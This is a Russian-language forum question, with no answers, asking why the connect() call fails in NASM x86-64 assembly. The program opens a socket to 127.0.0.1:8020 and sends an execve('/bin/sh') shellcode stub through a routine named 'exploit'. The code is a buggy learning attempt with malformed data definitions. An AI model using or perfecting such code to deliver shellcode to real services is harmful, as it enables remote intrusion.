не правильный аргумент в функции connect

в позиции подключение, не правильный задается аргумент. но что не так? вот код.

;DEFAULT REL
global main
extern printf
extern inet_aton
extern perror
extern connect

section .text

shellcode:
    mov rax, 59
    mov rdi, path
    mov rsi, 0
    mov rdx, 0
    syscall

exploit:
    mov rax, 1
    mov rdi, [sock]
    lea rsi, [shellcode]
    mov rdx, [size_of_shellcode]
    syscall
    ret
main:
;------ получаем сокет -------
    mov rdx, 0
    mov rsi, [SOCK_STREAM]
    mov rdi, [PF_INET]
    mov rax, 41
    syscall
    mov [sock], rax
    cmp rax, 0
    jg continue_socket
    xor rax, rax
    lea rdi, [cant_socket]
    syscall
    jmp exit
;---- заполнить структуру ----
continue_socket:
    xor rax, rax
    mov ax, [PF_INET]
    mov [s + family], ax
    mov ax, [server_port]
    xchg al, ah
    mov [s + port], ax
    xor rax, rax
    lea rdi, [host]
    xor rsi, rsi
    lea esi, [s + in_addr]
    call inet_aton
    cmp rax, 0
    je continue_fill
    xor rax, rax
    lea rdi, [cant_fill]
    call printf 
    jmp exit
;------- подключение --------
continue_fill:
    mov rax, 0
    mov [s + data], rax
    xor rdi, rdi
    xor rdx, rdx
    mov rdx, [sizeof_s]
    lea rsi, [s]
    mov rdi, [sock]
    xor rax, rax
    call connect
    ;mov rax, 42
;   syscall
    cmp rax, 0
    je continue_connect
    xor rax, rax
    lea rdi, [cant_connect]
    call perror
    jmp exit
continue_connect:
;---- написать сообщение ----
    xor rax, rax
    mov rdi, 1
    call exploit
;---- выход из программы ----
exit:
    mov rax, 60
    syscall
    ret


section .data
struc sockaddr_in
    family  resw  1
    port    resw  1
    in_addr resd  1
    data    resb  8
endstruc
cant_socket   db    'Не удалось получить сокет', 0xa, 0x0
cant_fill     db    'Не удалось преобразовать ip', 0xa, 0x0
cant_connect  db    'Невозможно подключиться.', 0x0

host          db    '127.0.0.1'
path          dq    '/bin/sh'
size          dd    $ - path
sock          dq    0
s             istruc sockaddr_in 
sizeof_s      dq    16
server_port   dw    8020

PF_INET       dq    2
SOCK_STREAM   dq    1

size_of_shellcode dd exploit - shellcode

компилируется в nasm.

all:
        nasm -f elf64 bf.asm -o bf.o
        gcc -no-pie bf.o -o test
#       ld -b elf64-x86-64 bf.o inet.o -lc -o test

Ответы (0 шт):